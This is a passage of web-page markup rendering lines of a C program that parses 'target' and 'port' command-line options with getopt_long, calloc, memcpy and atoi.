<DIV class="line number291 index290 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};</DIV>

<DIV class="line number292 index291 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number293 index292 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c = getopt_long(argc, argv, "", long_options, &amp;option_index);</DIV>

<DIV class="line number294 index293 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (c &lt; 0)</DIV>

<DIV class="line number295 index294 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number296 index295 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number297 index296 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch (c) {</DIV>

<DIV class="line number298 index297 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 0:</DIV>

<DIV class="line number299 index298 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch (option_index) {</DIV>

<DIV class="line number300 index299 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 0:</DIV>

<DIV class="line number301 index300 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (optarg) {</DIV>

<DIV class="line number302 index301 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target = calloc(strlen(optarg)+1, sizeof(char));</DIV>

<DIV class="line number303 index302 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!target) {</DIV>

<DIV class="line number304 index303 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("calloc error (2)\n");</DIV>

<DIV class="line number305 index304 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number306 index305 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number307 index306 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(target, optarg, strlen(optarg)+1);</DIV>

<DIV class="line number308 index307 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number309 index308 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number310 index309 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case 1:</DIV>

<DIV class="line number311 index310 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(optarg)</DIV>

<DIV class="line number312 index311 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;port = atoi(optarg);</DIV>

<DIV class="line number313 index312 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

